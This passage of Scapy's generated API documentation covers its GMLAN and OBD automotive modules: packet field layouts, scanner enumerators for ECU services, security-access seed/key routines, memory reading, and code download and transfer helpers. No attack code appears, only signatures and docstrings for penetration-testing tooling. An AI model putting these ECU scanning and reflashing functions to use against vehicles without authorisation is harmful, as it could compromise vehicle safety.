+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           DATARECORD          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. GMLAN_TD                           


GMLAN_TD fields






	subfunction

	ByteEnumField

	0



	startingAddress

	MultipleTypeField (XShortField, X3BytesField, XIntField, XIntField)

	0



	dataRecord

	StrField

	b''











	
subfunctions = {0: 'download', 128: 'downloadAndExecuteOrExecute'}

	








	
class scapy.contrib.automotive.gm.gmlan.GMLAN_WDBI(_pkt, /, *, dataIdentifier=0, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L581-L586]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DATAIDENTIFIER|           DATARECORD          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GMLAN_WDBI                          


GMLAN_WDBI fields






	dataIdentifier

	XByteEnumField

	0



	dataRecord

	StrField

	b''















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_WDBIPR(_pkt, /, *, dataIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L592-L600]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L598-L600]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DATAIDENTIFIER|
+-+-+-+-+-+-+-+-+

                        Fig. GMLAN_WDBIPR                         


GMLAN_WDBIPR fields






	dataIdentifier

	XByteEnumField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.gm.gmlan_ecu_states




            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.gm.gmlan_logging




            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.gm.gmlan_scanner


	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_DCEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L733-L744]

	Bases: GMLAN_Enumerator






	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_IDOEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L165-L208]

	Bases: GMLAN_Enumerator, StateGeneratingServiceEnumerator


	
static enter_diagnostic_session(socket: SuperSocket | SingleConversationSocket) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L172-L181]

	




	
static enter_state_with_tp(sock: SuperSocket | SingleConversationSocket, conf: AutomotiveTestCaseExecutorConfiguration, kwargs: Dict[str, Any]) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L192-L200]

	




	
get_new_edge(socket: SuperSocket | SingleConversationSocket, config: AutomotiveTestCaseExecutorConfiguration) → Tuple[EcuState, EcuState] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L183-L190]

	




	
get_transition_function(socket: SuperSocket | SingleConversationSocket, edge: Tuple[EcuState, EcuState]) → Tuple[Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]], bool], Dict[str, Any], Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration], bool] | None] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L202-L204]

	








	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_PMEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L497-L549]

	Bases: GMLAN_Enumerator, StateGeneratingServiceEnumerator


	
static enter_state_with_tp(sock: SuperSocket | SingleConversationSocket, conf: AutomotiveTestCaseExecutorConfiguration, kwargs: Dict[str, Any]) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L530-L540]

	




	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, timeout: int = 1, execution_time: int = 1200, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L504-L518]

	




	
get_new_edge(socket: SuperSocket | SingleConversationSocket, config: AutomotiveTestCaseExecutorConfiguration) → Tuple[EcuState, EcuState] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L520-L528]

	




	
get_transition_function(socket: SuperSocket | SingleConversationSocket, edge: Tuple[EcuState, EcuState]) → Tuple[Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]], bool], Dict[str, Any], Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration], bool] | None] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L542-L545]

	








	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_RDBIEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L211-L232]

	Bases: GMLAN_Enumerator


	
static print_information(resp: Packet) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L219-L223]

	








	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_RDBPIEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L552-L568]

	Bases: GMLAN_Enumerator






	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_RDEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L485-L494]

	Bases: GMLAN_Enumerator, StateGeneratingServiceEnumerator






	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_RMBAEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L571-L712]

	Bases: GMLAN_Enumerator


	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L587-L589]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	probe_width (int) – Memory size of a probe.


	random_probes_len (int) – Number of probes.


	sequential_probes_len (int) – Size of a memory block during
sequential probing.













	
post_execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, global_configuration: AutomotiveTestCaseExecutorConfiguration) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L622-L682]

	




	
show(dump: bool = False, filtered: bool = True, verbose: bool = False) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L684-L704]

	








	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_SAEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L292-L482]

	Bases: GMLAN_Enumerator, StateGenerator


	
static evaluate_security_access_response(res: Packet | None, seed: Packet, key: Packet | None) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L393-L404]

	




	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L305-L307]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	keyfunction (Callable[[int], int]) – Specifies a function to generate the key from a
given seed.













	
static get_key_pkt(seed: Packet, keyfunction: Callable[[int], int], level: int = 1) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L406-L415]

	




	
get_new_edge(socket: SuperSocket | SingleConversationSocket, config: AutomotiveTestCaseExecutorConfiguration) → Tuple[EcuState, EcuState] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L444-L475]

	




	
static get_security_access(sock: SuperSocket | SingleConversationSocket, level: int = 1, seed_pkt: Packet | None = None, keyfunction: Callable[[int], int] | None = None) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L417-L436]

	




	
static get_seed_pkt(sock: SuperSocket | SingleConversationSocket, level: int = 1) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L370-L391]

	




	
get_transition_function(socket: SuperSocket | SingleConversationSocket, edge: Tuple[EcuState, EcuState]) → Tuple[Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]], bool], Dict[str, Any], Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration], bool] | None] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L477-L482]

	




	
pre_execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, global_configuration: AutomotiveTestCaseExecutorConfiguration) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L324-L331]

	




	
static transition_function(sock: SuperSocket | SingleConversationSocket, _: AutomotiveTestCaseExecutorConfiguration, kwargs: Dict[str, Any]) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L438-L442]

	








	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_Scanner(socket: SuperSocket | SingleConversationSocket, reset_handler: Callable[[], None] | None = None, reconnect_handler: Callable[[], SuperSocket | SingleConversationSocket] | None = None, test_cases: List[AutomotiveTestCaseABC | Type[AutomotiveTestCaseABC]] | None = None, **kwargs: Dict[str, Any] | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L749-L757]

	Bases: AutomotiveTestCaseExecutor


	
property default_test_case_clss: List[Type[AutomotiveTestCaseABC]]

	








	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_ServiceEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L94-L114]

	Bases: GMLAN_Enumerator, StateGeneratingServiceEnumerator

This enumerator scans for all services identifiers of GMLAN. During this
scan, corrupted packets might be sent to an ECU and mainly negative
responses will be received.






	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_TDEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L715-L730]

	Bases: GMLAN_Enumerator






	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_TPEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L117-L162]

	Bases: GMLAN_Enumerator, StateGeneratingServiceEnumerator

Performs a check if TesterPresent is available. If a positive response is
received, a new system state is generated and returned.


	
static cleanup(_: SuperSocket | SingleConversationSocket, configuration: AutomotiveTestCaseExecutorConfiguration) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L145-L154]

	




	
static enter(socket: SuperSocket | SingleConversationSocket, configuration: AutomotiveTestCaseExecutorConfiguration, kwargs: Dict[str, Any]) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L128-L143]

	




	
get_transition_function(socket: SuperSocket | SingleConversationSocket, edge: Tuple[EcuState, EcuState]) → Tuple[Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]], bool], Dict[str, Any], Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration], bool] | None] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L156-L158]

	








	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_WDBIEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L235-L276]

	Bases: GMLAN_Enumerator


	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L248-L250]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	rdbi_enumerator (GMLAN_RDBIEnumerator) – Specifies an instance of a GMLAN_RDBIEnumerator
which is used to extract possible data
identifiers.

















	
class scapy.contrib.automotive.gm.gmlan_scanner.GMLAN_WDBISelectiveEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan_scanner.py#L279-L289]

	Bases: StagedAutomotiveTestCase








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.gm.gmlanutils


	
scapy.contrib.automotive.gm.gmlanutils.GMLAN_BroadcastSocket(interface: str) → SuperSocket[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlanutils.py#L363-L371]

	Returns a GMLAN broadcast socket using interface.


	Parameters:

	interface – interface name



	Returns:

	ISOTPSocket configured as GMLAN Broadcast Socket










	
scapy.contrib.automotive.gm.gmlanutils.GMLAN_GetSecurityAccess(sock: SuperSocket, key_function: Callable[[int], int], level: int = 1, timeout: int | None = None, retry: int = 0, unittest: bool = False) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlanutils.py#L140-L203]

	Authenticate on ECU. Implements Seey-Key procedure.


	Parameters:

	
	sock – socket to send the message on.


	key_function – function implementing the key algorithm.


	level – level of access


	timeout – timeout for sending, receiving or sniffing packages.


	retry – number of retries in case of failure.


	unittest – disable internal delays






	Returns:

	True on success.










	
scapy.contrib.automotive.gm.gmlanutils.GMLAN_InitDiagnostics(sock: SuperSocket, broadcast_socket: SuperSocket | None = None, timeout: int = 1, retry: int = 0, unittest: bool = False) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlanutils.py#L75-L137]

	Send messages to put an ECU into diagnostic/programming state.


	Parameters:

	
	sock – socket for communication.


	broadcast_socket – socket for broadcasting. If provided some message
will be sent as broadcast. Recommended when used
on a network with several ECUs.


	timeout – timeout for sending, receiving or sniffing packages.


	retry – number of retries in case of failure.


	unittest – disable delays






	Returns:

	True on success else False










	
scapy.contrib.automotive.gm.gmlanutils.GMLAN_ReadMemoryByAddress(sock: SuperSocket, addr: int, length: int, timeout: int | None = None, retry: int = 0) → bytes | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlanutils.py#L319-L360]

	Read data from ECU memory.


	Parameters:

	
	sock – socket to send the data on.


	addr – source memory address on the ECU.


	length – bytes to read.


	timeout – timeout for sending, receiving or sniffing packages.


	retry – number of retries in case of failure.






	Returns:

	bytes red or None










	
scapy.contrib.automotive.gm.gmlanutils.GMLAN_RequestDownload(sock: SuperSocket, length: int, timeout: int | None = None, retry: int = 0) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlanutils.py#L206-L229]

	Send RequestDownload message.


Usually used before calling TransferData.





	Parameters:

	
	sock – socket to send the message on.


	length – value for the message’s parameter ‘unCompressedMemorySize’.


	timeout – timeout for sending, receiving or sniffing packages.


	retry – number of retries in case of failure.






	Returns:

	True on success










	
class scapy.contrib.automotive.gm.gmlanutils.GMLAN_TesterPresentSender(sock: ~scapy.supersocket.SuperSocket, pkt: ~scapy.packet.Packet = <GMLAN  service=TesterPresent |>, interval: int = 2)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlanutils.py#L53-L72]

	Bases: PeriodicSenderThread


	
run() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlanutils.py#L65-L72]

	








	
scapy.contrib.automotive.gm.gmlanutils.GMLAN_TransferData(sock: SuperSocket, addr: int, payload: bytes, maxmsglen: int | None = None, timeout: int | None = None, retry: int = 0) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlanutils.py#L232-L287]

	Send TransferData message.

Usually used after calling RequestDownload.


	Parameters:

	
	sock – socket to send the message on.


	addr – destination memory address on the ECU.


	payload – data to be sent.


	maxmsglen – maximum length of a single iso-tp message.
default: maximum length


	timeout – timeout for sending, receiving or sniffing packages.


	retry – number of retries in case of failure.






	Returns:

	True on success.










	
scapy.contrib.automotive.gm.gmlanutils.GMLAN_TransferPayload(sock: SuperSocket, addr: int, payload: bytes, maxmsglen: int | None = None, timeout: int | None = None, retry: int = 0) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlanutils.py#L290-L316]

	Send data by using GMLAN services.


	Parameters:

	
	sock – socket to send the data on.


	addr – destination memory address on the ECU.


	payload – data to be sent.


	maxmsglen – maximum length of a single iso-tp message.
default: maximum length


	timeout – timeout for sending, receiving or sniffing packages.


	retry – number of retries in case of failure.






	Returns:

	True on success.












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd package

Package of contrib automotive obd specific modules
that have to be loaded explicitly.


Subpackages



	scapy.contrib.automotive.obd.iid package

	scapy.contrib.automotive.obd.mid package

	scapy.contrib.automotive.obd.pid package

	scapy.contrib.automotive.obd.tid package







Submodules



	scapy.contrib.automotive.obd.obd

	scapy.contrib.automotive.obd.packet

	scapy.contrib.automotive.obd.scanner

	scapy.contrib.automotive.obd.services









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.iid package

Package of contrib automotive obd specific modules
that have to be loaded explicitly.


Submodules



	scapy.contrib.automotive.obd.iid.iids









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.iid.iids


	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID00(_pkt, /, *, supported_iids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L37-L74]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED IIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID00                          


OBD_IID00 fields






	supported_iids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID01(_pkt, /, *, message_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L83-L84]

	Bases: _OBD_IID_MessageCount


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MESSAGE COUNT |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID01                          


OBD_IID01 fields






	message_count

	ByteField

	0















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID02(_pkt, /, *, count=None, vehicle_identification_numbers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L103-L111]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     | VEHICLE IDENTIFICATION NUMBERS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID02                          


OBD_IID02 fields






	count

	FieldLenField

	None



	vehicle_identification_numbers

	FieldListField

	[]















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID03(_pkt, /, *, message_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L87-L88]

	Bases: _OBD_IID_MessageCount


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MESSAGE COUNT |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID03                          


OBD_IID03 fields






	message_count

	ByteField

	0















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID04(_pkt, /, *, count=None, calibration_identifications=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L114-L122]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     |  CALIBRATION IDENTIFICATIONS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID04                          


OBD_IID04 fields






	count

	FieldLenField

	None



	calibration_identifications

	FieldListField

	[]















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID05(_pkt, /, *, message_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L91-L92]

	Bases: _OBD_IID_MessageCount


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MESSAGE COUNT |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID05                          


OBD_IID05 fields






	message_count

	ByteField

	0















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID06(_pkt, /, *, count=None, calibration_verification_numbers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L125-L133]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     |CALIBRATION VERIFICATION NUMBER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID06                          


OBD_IID06 fields






	count

	FieldLenField

	None



	calibration_verification_numbers

	FieldListField

	[]















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID07(_pkt, /, *, message_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L95-L96]

	Bases: _OBD_IID_MessageCount


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MESSAGE COUNT |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID07                          


OBD_IID07 fields






	message_count

	ByteField

	0















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID08(_pkt, /, *, count=None, data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L136-L143]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID08                          


OBD_IID08 fields






	count

	FieldLenField

	None



	data

	FieldListField

	[]















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID09(_pkt, /, *, message_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L99-L100]

	Bases: _OBD_IID_MessageCount


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MESSAGE COUNT |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_IID09                          


OBD_IID09 fields






	message_count

	ByteField

	0















	
class scapy.contrib.automotive.obd.iid.iids.OBD_IID0A(_pkt, /, *, count=None, ecu_names=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/iid/iids.py#L146-L153]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
